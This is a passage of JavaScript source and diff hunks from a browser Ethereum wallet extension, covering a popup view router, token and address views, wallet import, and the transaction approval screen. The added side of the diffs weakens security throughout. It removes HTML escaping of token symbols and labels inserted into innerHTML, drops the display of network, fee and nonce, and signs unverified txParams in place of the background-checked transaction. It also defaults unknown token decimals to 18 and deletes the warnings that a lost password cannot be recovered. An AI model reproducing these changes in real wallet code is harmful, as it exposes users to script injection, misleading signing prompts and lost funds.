// Begin a fresh page-load scope. The popup gets one by being loaded; the
|
||||
// unit tests, which simulate several page loads against one module
|
||||
// instance, ask for one.
|
||||
function resetRenderedViews() {
|
||||
renderedViews.clear();
|
||||
}
|
||||
|
||||
// Home is the exception: Back re-renders it every time, which is what the
|
||||
// popup did before this router existed (index.js registered
|
||||
// renderWalletList() as setRenderMain(), and goBack() called it on every
|
||||
// Back onto "main"). It must stay that way — the wallet list has to reflect
|
||||
// what changed while the user was away from it, such as a wallet renamed or
|
||||
// an address removed in Settings — and Home holds no unsaved input to lose.
|
||||
const ALWAYS_RENDER_ON_BACK = new Set(["main"]);
|
||||
|
||||
// Views that render an address the user picked and cannot be rendered
|
||||
// without one. "confirm-tx" is here because its Sign button dereferences
|
||||
// `state.wallets[state.selectedWallet].encryptedSecret`
|
||||
// (src/popup/views/confirmTx.js) behind no guard of its own — a screen that
|
||||
// can only throw when the user presses its one button must not be restored
|
||||
// onto.
|
||||
const ADDRESS_VIEWS = new Set([
|
||||
"address",
|
||||
"address-token",
|
||||
"receive",
|
||||
"transaction",
|
||||
"confirm-tx",
|
||||
]);
|
||||
|
||||
function needsAddress(view) {
|
||||
return ADDRESS_VIEWS.has(view);
|
||||
}
|
||||
|
||||
function hasValidAddress(state) {
|
||||
return Boolean(
|
||||
state.selectedWallet !== null &&
|
||||
state.selectedAddress !== null &&
|
||||
state.wallets[state.selectedWallet] &&
|
||||
state.wallets[state.selectedWallet].addresses[state.selectedAddress],
|
||||
);
|
||||
}
|
||||
|
||||
// The stored viewData ENTRIES each branch below dereferences, as opposed to
|
||||
// the one field it gates on.
|
||||
//
|
||||
// A gate on a single truthy field checks the container, not the entries, and
|
||||
// the dereference is one level below it: a stored `{"currentView":
|
||||
// "success-tx","viewData":{"hash":"0x1"}}` passes `data.hash` and then throws
|
||||
// on `address.toLowerCase()` inside addressTitle() (src/popup/views/
|
||||
// helpers.js), out of restoreView(), which src/popup/index.js does not guard —
|
||||
// so the rest of popup init never runs. txStatus.restoreWait() has checked its
|
||||
// own branch's fields since it was written; these are the other four.
|
||||
//
|
||||
// Only what actually throws is required. Fields that are compared,
|
||||
// concatenated or escaped coerce (escapeHtml() and displaySymbol() both
|
||||
// String() their argument), so requiring them would refuse a restorable screen
|
||||
// over a cosmetic value.
|
||||
function isText(value) {
|
||||
return typeof value === "string";
|
||||
}
|
||||
|
||||
function isRecord(value) {
|
||||
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||
}
|
||||
|
||||
// An address handed to renderAddressHtml()/addressTitle(): both reach
|
||||
// `address.slice()` and `address.toLowerCase()` with no guard.
|
||||
function isAddressText(value) {
|
||||
return isText(value);
|
||||
}
|
||||
|
||||
// Decoded calldata, as decodedDetailsHtml() (src/popup/views/txStatus.js)
|
||||
// walks it: `for (const d of decoded.details)` needs an iterable, and each
|
||||
// entry's `address` reaches toAddressHtml(). Absent or falsy is the ordinary
|
||||
// case and short-circuits before either.
|
||||
function isRenderableDecoded(value) {
|
||||
if (!value) return true;
|
||||
if (!isRecord(value)) return false;
|
||||
if (!value.details) return true;
|
||||
if (!Array.isArray(value.details)) return false;
|
||||
return value.details.every(
|
||||
(entry) =>
|
||||
isRecord(entry) && (!entry.address || isAddressText(entry.address)),
|
||||
);
|
||||
}
|
||||
|
||||
// The pending transaction confirmTx.show() renders: `token` reaches
|
||||
// renderAddressHtml() when it is not "ETH", and `from`/`to` reach
|
||||
// addressTitle(), makeBlockie() and getLocalWarnings().
|
||||
function isRenderablePendingTx(value) {
|
||||
return (
|
||||
isRecord(value) &&
|
||||
isText(value.token) &&
|
||||
isAddressText(value.from) &&
|
||||
isAddressText(value.to)
|
||||
);
|
||||
}
|
||||
|
||||
// The stored transaction transactionDetail.render() shows. contractAddress is
|
||||
// optional on an ETH transfer, and reaches addressDotHtml() when it is there.
|
||||
function isRenderableTx(value) {
|
||||
return (
|
||||
isRecord(value) &&
|
||||
isAddressText(value.from) &&
|
||||
isAddressText(value.to) &&
|
||||
(!value.contractAddress || isAddressText(value.contractAddress))
|
||||
);
|
||||
}
|
||||
|
||||
// Render `view` from persisted state. Each view module shows itself, so a
|
||||
// true return means the view is both rendered and on screen.
|
||||
//
|
||||
// Returns false when the view is not one the popup renders from state, or
|
||||
// when the state it would render is gone — a token no longer selected, a
|
||||
// transaction no longer persisted. The caller falls back rather than
|
||||
// putting an empty template on screen.
|
||||
function renderView(view, state, views) {
|
||||
if (!view || !RESTORABLE_VIEWS.has(view)) return false;
|
||||
if (needsAddress(view) && !hasValidAddress(state)) return false;
|
||||
if (view === "address-token" && !state.selectedToken) return false;
|
||||
|
||||
const data = state.viewData || {};
|
||||
switch (view) {
|
||||
case "main":
|
||||
views.main.show();
|
||||
return true;
|
||||
case "address":
|
||||
views.addressDetail.show();
|
||||
return true;
|
||||
case "address-token":
|
||||
views.addressToken.show();
|
||||
return true;
|
||||
case "receive":
|
||||
views.receive.show();
|
||||
return true;
|
||||
case "settings":
|
||||
views.settings.show();
|
||||
return true;
|
||||
case "settings-addtoken":
|
||||
views.settingsAddToken.show();
|
||||
return true;
|
||||
case "confirm-tx":
|
||||
if (!isRenderablePendingTx(data.pendingTx)) return false;
|
||||
views.confirmTx.restore();
|
||||
return true;
|
||||
case "transaction":
|
||||
if (!isRenderableTx(data.tx)) return false;
|
||||
views.transactionDetail.render();
|
||||
return true;
|
||||
case "wait-tx":
|
||||
// Resumes the receipt poll from the persisted broadcast time,
|
||||
// and answers false when there is nothing resumable left.
|
||||
return Boolean(views.txStatus.restoreWait());
|
||||
case "success-tx":
|
||||
if (!data.hash) return false;
|
||||
if (!isAddressText(data.to)) return false;
|
||||
if (!isRenderableDecoded(data.decoded)) return false;
|
||||
views.txStatus.renderSuccess();
|
||||
return true;
|
||||
case "error-tx":
|
||||
if (!data.message) return false;
|
||||
if (!isAddressText(data.to)) return false;
|
||||
views.txStatus.renderError();
|
||||
return true;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// The Back-path renderer, registered with setBackRenderer() in
|
||||
// views/helpers.js.
|
||||
//
|
||||
// Returns false — leaving goBack() to unhide the view, as it always did —
|
||||
// in the two cases where the view is known to be on the page already:
|
||||
//
|
||||
// - It is not one the popup renders from persisted state. The restored
|
||||
// stack is filtered against RESTORABLE_VIEWS, so such a view can only
|
||||
// be on the stack from this page load, where forward navigation
|
||||
// rendered it on the way in.
|
||||
// - This page load has rendered it. Re-rendering would re-fetch and
|
||||
// clobber what it holds; Home is rendered anyway, see above.
|
||||
//
|
||||
// What is left is the case the router exists for: a view on the stack that
|
||||
// this page load has never rendered, whose template is still blank.
|
||||
function makeBackRenderer(state, views) {
|
||||
return function renderBack(view) {
|
||||
if (!RESTORABLE_VIEWS.has(view)) return false;
|
||||
if (renderedViews.has(view) && !ALWAYS_RENDER_ON_BACK.has(view)) {
|
||||
return false;
|
||||
}
|
||||
if (!renderView(view, state, views)) {
|
||||
views.main.show();
|
||||
}
|
||||
return true;
|
||||
};
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
renderView,
|
||||
makeBackRenderer,
|
||||
markViewRendered,
|
||||
resetRenderedViews,
|
||||
};
|
||||
@@ -1,4 +1,4 @@
|
||||
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
|
||||
const { $, showView, showFlash, goBack } = require("./helpers");
|
||||
const { getTopTokens } = require("../../shared/tokenList");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { lookupTokenInfo } = require("../../shared/balances");
|
||||
@@ -13,7 +13,7 @@ function show() {
|
||||
list.innerHTML = getTopTokens(25)
|
||||
.map(
|
||||
(t) =>
|
||||
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
|
||||
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
|
||||
)
|
||||
.join("");
|
||||
list.querySelectorAll(".common-token").forEach((btn) => {
|
||||
@@ -49,11 +49,7 @@ function init(ctx) {
|
||||
infoEl.style.visibility = "visible";
|
||||
log.debugf("Looking up token contract", contractAddr);
|
||||
try {
|
||||
const info = await lookupTokenInfo(
|
||||
contractAddr,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
const info = await lookupTokenInfo(contractAddr, state.rpcUrl);
|
||||
log.infof("Adding token", info.symbol, contractAddr);
|
||||
state.trackedTokens.push({
|
||||
address: contractAddr,
|
||||
|
||||
@@ -42,24 +42,12 @@ let currentMode = "mnemonic";
|
||||
|
||||
const MODES = ["mnemonic", "privkey", "xprv"];
|
||||
|
||||
// Each hint names what this import mode's own backup is, because a key
|
||||
// wallet and an xprv wallet have no recovery phrase to point the user at.
|
||||
// All three say the same thing about the password: it is gone for good if
|
||||
// it is forgotten. That sentence is the only warning the user gets before
|
||||
// the wallet exists, and without it the lost-password route in
|
||||
// views/deleteWallet.js is the first they hear of it.
|
||||
//
|
||||
// Keep the three within a couple of characters of each other in length.
|
||||
// The hint sits directly above the password fields and the tabs swap it in
|
||||
// place, so a wording that wraps to a different number of lines would move
|
||||
// those fields under the pointer; the reserved height on
|
||||
// #add-wallet-password-hint is the other half of that guarantee.
|
||||
const PASSWORD_HINTS = {
|
||||
mnemonic:
|
||||
"This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
|
||||
"This password encrypts your recovery phrase on this device. You will need it to send funds.",
|
||||
privkey:
|
||||
"This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
|
||||
xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
|
||||
"This password encrypts your private key on this device. You will need it to send funds.",
|
||||
xprv: "This password encrypts your key on this device. You will need it to send funds.",
|
||||
};
|
||||
|
||||
function switchMode(mode) {
|
||||
@@ -179,7 +167,7 @@ async function importMnemonic(ctx) {
|
||||
|
||||
// Scan for used HD addresses beyond index 0.
|
||||
showFlash("Scanning for addresses...", 30000);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl);
|
||||
if (scan.addresses.length > 1) {
|
||||
wallet.addresses = scan.addresses.map((a) => ({
|
||||
address: a.address,
|
||||
@@ -206,7 +194,7 @@ async function importPrivateKey(ctx) {
|
||||
let addr;
|
||||
try {
|
||||
addr = addressFromPrivateKey(key);
|
||||
} catch {
|
||||
} catch (e) {
|
||||
showFlash("Invalid private key.");
|
||||
return;
|
||||
}
|
||||
@@ -258,7 +246,7 @@ async function importXprvKey(ctx) {
|
||||
let result;
|
||||
try {
|
||||
result = hdWalletFromXprv(xprv);
|
||||
} catch {
|
||||
} catch (e) {
|
||||
showFlash(
|
||||
"That extended private key is not valid. Please check it and try again.",
|
||||
);
|
||||
@@ -298,7 +286,7 @@ async function importXprvKey(ctx) {
|
||||
|
||||
// Scan for used HD addresses beyond index 0.
|
||||
showFlash("Scanning for addresses...", 30000);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl);
|
||||
if (scan.addresses.length > 1) {
|
||||
wallet.addresses = scan.addresses.map((a) => ({
|
||||
address: a.address,
|
||||
|
||||
@@ -6,15 +6,14 @@ const {
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
truncateMiddle,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
|
||||
const { state, currentAddress, saveState } = require("../../shared/state");
|
||||
const { formatUsd, getAddressValueUsd } = require("../../shared/prices");
|
||||
const {
|
||||
fetchRecentTransactions,
|
||||
filterTransactions,
|
||||
@@ -45,6 +44,7 @@ function show() {
|
||||
state.selectedToken = null;
|
||||
const wallet = state.wallets[state.selectedWallet];
|
||||
const addr = wallet.addresses[state.selectedAddress];
|
||||
const wi = state.selectedWallet;
|
||||
const ai = state.selectedAddress;
|
||||
$("address-title").textContent =
|
||||
wallet.name + " \u2014 Address " + (ai + 1);
|
||||
@@ -64,7 +64,7 @@ function show() {
|
||||
});
|
||||
$("address-line").dataset.full = addr.address;
|
||||
attachCopyHandlers($("address-line"));
|
||||
const usdTotal = formatAddressTotal(getAddressValue(addr));
|
||||
const usdTotal = formatUsd(getAddressValueUsd(addr));
|
||||
$("address-usd-total").innerHTML = usdTotal || " ";
|
||||
const ensEl = $("address-ens");
|
||||
// ENS is now shown inside renderAddressHtml, hide the separate element
|
||||
@@ -188,7 +188,6 @@ async function loadTransactions(address) {
|
||||
ensNameMap = await resolveEnsNames(
|
||||
counterparties,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
} catch {
|
||||
ensNameMap = new Map();
|
||||
@@ -223,12 +222,10 @@ function renderTransactions(txs) {
|
||||
: tx.from;
|
||||
const ensName = ensNameMap.get(counterparty) || null;
|
||||
const title = addressTitle(counterparty, state.wallets);
|
||||
// The explorer's method name for a contract call, title-cased.
|
||||
const dirLabel = escapeHtml(tx.directionLabel);
|
||||
const sym = displaySymbol(tx.symbol);
|
||||
const dirLabel = tx.directionLabel;
|
||||
const amountStr = tx.value
|
||||
? escapeHtml(tx.value + " " + sym)
|
||||
: escapeHtml(sym);
|
||||
? escapeHtml(tx.value + " " + tx.symbol)
|
||||
: escapeHtml(tx.symbol);
|
||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||
const displayAddr =
|
||||
title || ensName || truncateMiddle(counterparty, maxAddr);
|
||||
@@ -249,6 +246,7 @@ function renderTransactions(txs) {
|
||||
row.addEventListener("click", () => {
|
||||
const idx = parseInt(row.dataset.tx, 10);
|
||||
const tx = loadedTxs[idx];
|
||||
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
|
||||
tx.fromEns = ensNameMap.get(tx.from) || null;
|
||||
tx.toEns = ensNameMap.get(tx.to) || null;
|
||||
ctx.showTransactionDetail(tx);
|
||||
|
||||
@@ -9,18 +9,20 @@ const {
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
truncateMiddle,
|
||||
balanceLine,
|
||||
unknownableAmount,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { state, currentAddress, saveState } = require("../../shared/state");
|
||||
const { TOKEN_BY_ADDRESS, resolveSymbol } = require("../../shared/tokenList");
|
||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||
const {
|
||||
formatUsd,
|
||||
getPrice,
|
||||
getAddressValueUsd,
|
||||
} = require("../../shared/prices");
|
||||
const {
|
||||
fetchRecentTransactions,
|
||||
filterTransactions,
|
||||
@@ -119,20 +121,14 @@ function show() {
|
||||
addr.tokenBalances,
|
||||
state.trackedTokens,
|
||||
);
|
||||
// null when the scale is unknown: no quantity to show, and none to
|
||||
// price. balanceLine() states that rather than printing 0.0000.
|
||||
amount = tb ? unknownableAmount(tb.balance) : 0;
|
||||
amount = tb ? parseFloat(tb.balance || "0") : 0;
|
||||
price = getPrice(symbol);
|
||||
}
|
||||
|
||||
currentSymbol = symbol;
|
||||
|
||||
$("address-token-title").textContent =
|
||||
wallet.name +
|
||||
" \u2014 Address " +
|
||||
(ai + 1) +
|
||||
" \u2014 " +
|
||||
displaySymbol(symbol);
|
||||
wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
|
||||
|
||||
// Blockie
|
||||
const blockieEl = $("address-token-jazzicon");
|
||||
@@ -155,7 +151,7 @@ function show() {
|
||||
attachCopyHandlers($("address-token-line"));
|
||||
|
||||
// USD total for this token only
|
||||
const usdVal = price && amount !== null ? amount * price : null;
|
||||
const usdVal = price ? amount * price : null;
|
||||
const usdStr = formatUsd(usdVal);
|
||||
$("address-token-usd-total").innerHTML = usdStr || " ";
|
||||
|
||||
@@ -182,9 +178,7 @@ function show() {
|
||||
(knownToken && knownToken.symbol) ||
|
||||
null;
|
||||
const tokenName = rawName ? escapeHtml(rawName) : null;
|
||||
const tokenSymbol = rawSymbol
|
||||
? escapeHtml(displaySymbol(rawSymbol))
|
||||
: null;
|
||||
const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
|
||||
const tokenDecimals =
|
||||
tb && tb.decimals != null
|
||||
? tb.decimals
|
||||
@@ -271,7 +265,6 @@ async function loadTransactions(address, tokenId) {
|
||||
ensNameMap = await resolveEnsNames(
|
||||
counterparties,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
} catch {
|
||||
ensNameMap = new Map();
|
||||
@@ -299,12 +292,10 @@ function renderTransactions(txs) {
|
||||
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
|
||||
const ensName = ensNameMap.get(counterparty) || null;
|
||||
const title = addressTitle(counterparty, state.wallets);
|
||||
// The explorer's method name for a contract call, title-cased.
|
||||
const dirLabel = escapeHtml(tx.directionLabel);
|
||||
const sym = displaySymbol(tx.symbol);
|
||||
const dirLabel = tx.directionLabel;
|
||||
const amountStr = tx.value
|
||||
? escapeHtml(tx.value + " " + sym)
|
||||
: escapeHtml(sym);
|
||||
? escapeHtml(tx.value + " " + tx.symbol)
|
||||
: escapeHtml(tx.symbol);
|
||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||
const displayAddr =
|
||||
title || ensName || truncateMiddle(counterparty, maxAddr);
|
||||
@@ -374,7 +365,7 @@ function init(_ctx) {
|
||||
}
|
||||
// Hide dropdown, show static token display
|
||||
$("send-token").classList.add("hidden");
|
||||
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
|
||||
let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
|
||||
if (tokenId !== "ETH") {
|
||||
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
|
||||
}
|
||||
|
||||
@@ -9,8 +9,7 @@ const {
|
||||
attachCopyHandlers,
|
||||
onViewLeave,
|
||||
} = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { networkByChainId } = require("../../shared/networks");
|
||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||
const {
|
||||
formatEther,
|
||||
formatUnits,
|
||||
@@ -21,23 +20,15 @@ const {
|
||||
const { getPrice, formatUsd } = require("../../shared/prices");
|
||||
const { ERC20_ABI } = require("../../shared/constants");
|
||||
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
|
||||
const {
|
||||
resolveTokenDecimals,
|
||||
unknownDecimalsAmount,
|
||||
} = require("../../shared/approvalAmount");
|
||||
// Four decimals, with the nonzero floor these screens hold: every amount this
|
||||
// view renders — the ERC-20 line, the ETH value, the max fee — and every one
|
||||
// it carries forward to the wait/success/error screens goes through it.
|
||||
const {
|
||||
truncateAmountNeverZero: formatTxValue,
|
||||
} = require("../../shared/amountDisplay");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { getSignerForAddress } = require("../../shared/wallet");
|
||||
const { walletDefect } = require("../../shared/walletDefects");
|
||||
const { getProvider } = require("../../shared/balances");
|
||||
const { describeSigningFailure } = require("../../shared/approvalVerify");
|
||||
const txStatus = require("./txStatus");
|
||||
const uniswap = require("../../shared/uniswap");
|
||||
const { notify, runtimeApi, sendMessage } = require("../../shared/browserApi");
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
const erc20Iface = new Interface(ERC20_ABI);
|
||||
|
||||
@@ -46,21 +37,11 @@ function approvalAddressHtml(address) {
|
||||
return renderAddressHtml(address, { title });
|
||||
}
|
||||
|
||||
// The amount line for a decoded ERC-20 call. With a known scale it is the
|
||||
// token quantity; with `decimals` null it is the base-unit integer with the
|
||||
// unknown scale stated, because formatting it with an assumed scale is what
|
||||
// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
|
||||
// carry, `display` is what the approval screen shows.
|
||||
function tokenAmountText(rawAmount, decimals, symbol) {
|
||||
if (decimals === null) {
|
||||
const unknown = unknownDecimalsAmount(rawAmount);
|
||||
return { raw: unknown, display: unknown };
|
||||
}
|
||||
const formatted = formatTxValue(formatUnits(rawAmount, decimals));
|
||||
return {
|
||||
raw: formatted,
|
||||
display: formatted + (symbol ? " " + symbol : ""),
|
||||
};
|
||||
function formatTxValue(val) {
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return val + ".0000";
|
||||
const dec = (parts[1] + "0000").slice(0, 4);
|
||||
return parts[0] + "." + dec;
|
||||
}
|
||||
|
||||
function tokenLabel(address) {
|
||||
@@ -73,29 +54,13 @@ function tokenLabel(address) {
|
||||
function decodeCalldata(data, toAddress) {
|
||||
if (!data || data === "0x" || data.length < 10) return null;
|
||||
|
||||
// Where a token's scale is looked for, for every decoder below: the ERC-20
|
||||
// amount line and the swap's Amount and Min. received lines resolve it the
|
||||
// same way, and refuse to format the same way when it is nowhere.
|
||||
const decimalsSources = {
|
||||
trackedTokens: state.trackedTokens,
|
||||
wallets: state.wallets,
|
||||
};
|
||||
|
||||
// Try ERC-20 (approve / transfer)
|
||||
try {
|
||||
const parsed = erc20Iface.parseTransaction({ data });
|
||||
if (parsed) {
|
||||
const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
|
||||
const tokenSymbol = token ? token.symbol : null;
|
||||
// null when no source knows this token's scale. It is not
|
||||
// defaulted to 18: an amount formatted with a guessed scale is
|
||||
// the wrong number, and for a token with fewer decimals than the
|
||||
// guess it is the wrong number in the direction that reads as
|
||||
// zero. See tokenAmountText().
|
||||
const tokenDecimals = resolveTokenDecimals(
|
||||
toAddress,
|
||||
decimalsSources,
|
||||
);
|
||||
const tokenDecimals = token ? token.decimals : 18;
|
||||
const contractLabel = tokenSymbol
|
||||
? tokenSymbol + " (" + toAddress + ")"
|
||||
: toAddress;
|
||||
@@ -107,11 +72,12 @@ function decodeCalldata(data, toAddress) {
|
||||
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
|
||||
);
|
||||
const isUnlimited = rawAmount === maxUint;
|
||||
// An unbounded allowance needs no scale to describe, so it is
|
||||
// still named rather than refused.
|
||||
const amount = isUnlimited
|
||||
? { raw: "Unlimited", display: "Unlimited" }
|
||||
: tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
|
||||
const amountRaw = isUnlimited
|
||||
? "Unlimited"
|
||||
: formatTxValue(formatUnits(rawAmount, tokenDecimals));
|
||||
const amountStr = isUnlimited
|
||||
? "Unlimited"
|
||||
: amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
|
||||
|
||||
return {
|
||||
name: "Token Approval",
|
||||
@@ -132,8 +98,8 @@ function decodeCalldata(data, toAddress) {
|
||||
},
|
||||
{
|
||||
label: "Amount",
|
||||
value: amount.display,
|
||||
rawValue: amount.raw,
|
||||
value: amountStr,
|
||||
rawValue: amountRaw,
|
||||
},
|
||||
],
|
||||
};
|
||||
@@ -142,11 +108,11 @@ function decodeCalldata(data, toAddress) {
|
||||
if (parsed.name === "transfer") {
|
||||
const to = parsed.args[0];
|
||||
const rawAmount = parsed.args[1];
|
||||
const amount = tokenAmountText(
|
||||
rawAmount,
|
||||
tokenDecimals,
|
||||
tokenSymbol,
|
||||
const amountRaw = formatTxValue(
|
||||
formatUnits(rawAmount, tokenDecimals),
|
||||
);
|
||||
const amountStr =
|
||||
amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
|
||||
|
||||
return {
|
||||
name: "Token Transfer",
|
||||
@@ -163,8 +129,8 @@ function decodeCalldata(data, toAddress) {
|
||||
{ label: "Recipient", value: to, address: to },
|
||||
{
|
||||
label: "Amount",
|
||||
value: amount.display,
|
||||
rawValue: amount.raw,
|
||||
value: amountStr,
|
||||
rawValue: amountRaw,
|
||||
},
|
||||
],
|
||||
};
|
||||
@@ -175,7 +141,7 @@ function decodeCalldata(data, toAddress) {
|
||||
}
|
||||
|
||||
// Try Uniswap Universal Router
|
||||
const routerResult = uniswap.decode(data, toAddress, decimalsSources);
|
||||
const routerResult = uniswap.decode(data, toAddress);
|
||||
if (routerResult) return routerResult;
|
||||
|
||||
return null;
|
||||
@@ -193,61 +159,21 @@ function showPhishingWarning(elementId, isPhishing) {
|
||||
}
|
||||
}
|
||||
|
||||
// The fields of the approved transaction the value and recipient lines do not
|
||||
// already carry: network, gas limit, fee per gas, the most the fee can come to,
|
||||
// and the nonce. The background compares every one of them against the signed
|
||||
// artifact, so every one of them has to be on the screen — a number that is
|
||||
// verified but never displayed is verified against nothing the user agreed to.
|
||||
function showTxFee(approvedTx, ethPrice) {
|
||||
const network = networkByChainId(approvedTx.chainId);
|
||||
$("approve-tx-network").textContent = network
|
||||
? network.name
|
||||
: "Unknown network (chain id " + BigInt(approvedTx.chainId) + ")";
|
||||
|
||||
const gasLimit = BigInt(approvedTx.gasLimit);
|
||||
const feePerGas = BigInt(approvedTx.maxFeePerGas || approvedTx.gasPrice);
|
||||
const maxFeeEth = formatTxValue(formatEther(gasLimit * feePerGas));
|
||||
const usdStr = formatUsd(
|
||||
ethPrice ? parseFloat(maxFeeEth) * ethPrice : null,
|
||||
);
|
||||
$("approve-tx-fee").textContent =
|
||||
maxFeeEth + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
|
||||
|
||||
let detail =
|
||||
gasLimit.toString() +
|
||||
" gas at up to " +
|
||||
formatUnits(feePerGas, 9) +
|
||||
" gwei";
|
||||
if (approvedTx.maxPriorityFeePerGas) {
|
||||
detail +=
|
||||
", " +
|
||||
formatUnits(approvedTx.maxPriorityFeePerGas, 9) +
|
||||
" gwei priority";
|
||||
}
|
||||
$("approve-tx-fee-detail").textContent = detail;
|
||||
$("approve-tx-nonce").textContent = BigInt(approvedTx.nonce).toString();
|
||||
}
|
||||
|
||||
function showTxApproval(details) {
|
||||
showPhishingWarning(
|
||||
"approve-tx-phishing-warning",
|
||||
details.isPhishingDomain,
|
||||
);
|
||||
|
||||
// The transaction the background populated. It is displayed as it stands,
|
||||
// signed as it stands, and verified against as it stands — the popup fills
|
||||
// nothing in, so there is no number on this screen that the background
|
||||
// cannot compare with the artifact it gets back.
|
||||
pendingTxParams = details.approvedTx;
|
||||
const approvedTx = details.approvedTx;
|
||||
pendingTxParams = details.txParams;
|
||||
|
||||
const toAddr = approvedTx.to;
|
||||
const toAddr = details.txParams.to;
|
||||
const token = toAddr ? TOKEN_BY_ADDRESS.get(toAddr.toLowerCase()) : null;
|
||||
const ethValue = formatEther(approvedTx.value || "0");
|
||||
const ethValue = formatEther(details.txParams.value || "0");
|
||||
|
||||
// Build txInfo for status screens
|
||||
pendingTxDetails = {
|
||||
from: details.approvedFrom,
|
||||
from: state.activeAddress,
|
||||
to: toAddr || "",
|
||||
amount: formatTxValue(ethValue),
|
||||
token: "ETH",
|
||||
@@ -255,7 +181,7 @@ function showTxApproval(details) {
|
||||
};
|
||||
|
||||
// If this is an ERC-20 call, try to extract the real recipient and amount
|
||||
const decoded = decodeCalldata(approvedTx.data, toAddr || "");
|
||||
const decoded = decodeCalldata(details.txParams.data, toAddr || "");
|
||||
if (decoded && decoded.details) {
|
||||
let decodedTokenAddr = null;
|
||||
let decodedTokenSymbol = null;
|
||||
@@ -293,7 +219,7 @@ function showTxApproval(details) {
|
||||
}
|
||||
|
||||
$("approve-tx-hostname").textContent = details.hostname;
|
||||
$("approve-tx-from").innerHTML = approvalAddressHtml(details.approvedFrom);
|
||||
$("approve-tx-from").innerHTML = approvalAddressHtml(state.activeAddress);
|
||||
|
||||
// Show token symbol next to contract address if known
|
||||
const symbol = toAddr ? tokenLabel(toAddr) : null;
|
||||
@@ -309,7 +235,7 @@ function showTxApproval(details) {
|
||||
}
|
||||
|
||||
const ethValueFormatted = formatTxValue(
|
||||
formatEther(approvedTx.value || "0"),
|
||||
formatEther(details.txParams.value || "0"),
|
||||
);
|
||||
const ethPrice = getPrice("ETH");
|
||||
const ethUsd = ethPrice ? parseFloat(ethValueFormatted) * ethPrice : null;
|
||||
@@ -317,8 +243,6 @@ function showTxApproval(details) {
|
||||
$("approve-tx-value").textContent =
|
||||
ethValueFormatted + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
|
||||
|
||||
showTxFee(approvedTx, ethPrice);
|
||||
|
||||
// Decode calldata (reuse decoded from above)
|
||||
const decodedEl = $("approve-tx-decoded");
|
||||
if (decoded) {
|
||||
@@ -347,8 +271,8 @@ function showTxApproval(details) {
|
||||
}
|
||||
|
||||
// Always show raw data when present
|
||||
if (approvedTx.data && approvedTx.data !== "0x") {
|
||||
$("approve-tx-data").textContent = approvedTx.data;
|
||||
if (details.txParams.data && details.txParams.data !== "0x") {
|
||||
$("approve-tx-data").textContent = details.txParams.data;
|
||||
$("approve-tx-data-section").classList.remove("hidden");
|
||||
} else {
|
||||
$("approve-tx-data-section").classList.add("hidden");
|
||||
@@ -359,11 +283,7 @@ function showTxApproval(details) {
|
||||
|
||||
showView("approve-tx");
|
||||
attachCopyHandlers("view-approve-tx");
|
||||
gateOnWalletDefect(
|
||||
"approve-tx-error",
